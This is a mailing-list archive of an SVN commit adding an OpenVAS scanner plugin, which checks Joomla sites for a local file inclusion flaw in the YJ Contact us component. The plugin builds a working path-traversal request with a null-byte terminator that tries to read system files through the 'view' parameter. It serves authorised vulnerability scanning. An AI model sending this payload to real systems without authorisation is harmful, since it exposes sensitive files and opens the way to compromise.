[Openvas-commits] r11863 - in trunk/openvas-plugins: . scripts

scm-commit@wald.intevation.org scm-commit at wald.intevation.org
Wed Oct 26 13:58:25 CEST 2011


Author: mime
Date: 2011-10-26 13:58:20 +0200 (Wed, 26 Oct 2011)
New Revision: 11863

Added:
   trunk/openvas-plugins/scripts/gb_joomla_50362.nasl
Modified:
   trunk/openvas-plugins/ChangeLog
Log:
Added new plugin

Modified: trunk/openvas-plugins/ChangeLog
===================================================================
--- trunk/openvas-plugins/ChangeLog	2011-10-26 10:50:47 UTC (rev 11862)
+++ trunk/openvas-plugins/ChangeLog	2011-10-26 11:58:20 UTC (rev 11863)
@@ -1,3 +1,8 @@
+2011-10-26  Michael Meyer <michael.meyer at greenbone.net>
+
+	* scripts/gb_joomla_50362.nasl:
+	Added new plugin.
+
 2011-10-26  Henri Doreau <henri.doreau at greenbone.net>
 
 	* scripts/secspace_traceroute.nasl: Don't register results as host

Added: trunk/openvas-plugins/scripts/gb_joomla_50362.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_joomla_50362.nasl	2011-10-26 10:50:47 UTC (rev 11862)
+++ trunk/openvas-plugins/scripts/gb_joomla_50362.nasl	2011-10-26 11:58:20 UTC (rev 11863)
@@ -0,0 +1,87 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# Joomla YJ Contact us Component 'view' Parameter Local File Include Vulnerability
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2011 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103315);
+ script_bugtraq_id(50362);
+ script_version ("$Revision$");
+
+ script_name("Joomla YJ Contact us Component 'view' Parameter Local File Include Vulnerability");
+
+desc = "Overview:
+YJ Contact us component for Joomla! is prone to a local file-
+include vulnerability because it fails to properly sanitize user-
+supplied input.
+
+An attacker can exploit this vulnerability to obtain potentially
+sensitive information and execute arbitrary local scripts in the
+context of the webserver process. This may allow the attacker to
+compromise the application and the computer; other attacks are
+also possible.
+
+References:
+http://www.securityfocus.com/bid/50362
+http://joomla1.5.youjoomla.info/yjcontact/index.php";
+
+ script_tag(name:"risk_factor", value:"Medium");
+ script_description(desc);
+ script_summary("Determine if installed Joomla is vulnerable");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
+ script_dependencies("joomla_detect.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("host_details.inc");
+include("http_keepalive.inc");
+include("version_func.inc");
+   
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0);
+if(!can_host_php(port:port))exit(0);
+
+if( ! dir = get_dir_from_kb(port:port, app:"joomla"))exit(0);
+files = traversal_files();
+
+foreach file (keys(files)) {
+
+  url = string(dir, "/index.php?option=com_yjcontactus&view=",crap(data:"../", length:6*9),files[file],"%00"); 
+
+  if(http_vuln_check(port:port, url:url, pattern:file)) {
+     
+    security_warning(port:port);
+    exit(0);
+
+  }
+}
+
+exit(0);
+


Property changes on: trunk/openvas-plugins/scripts/gb_joomla_50362.nasl
___________________________________________________________________
Name: svn:keywords
   + Id Revision



More information about the Openvas-commits mailing list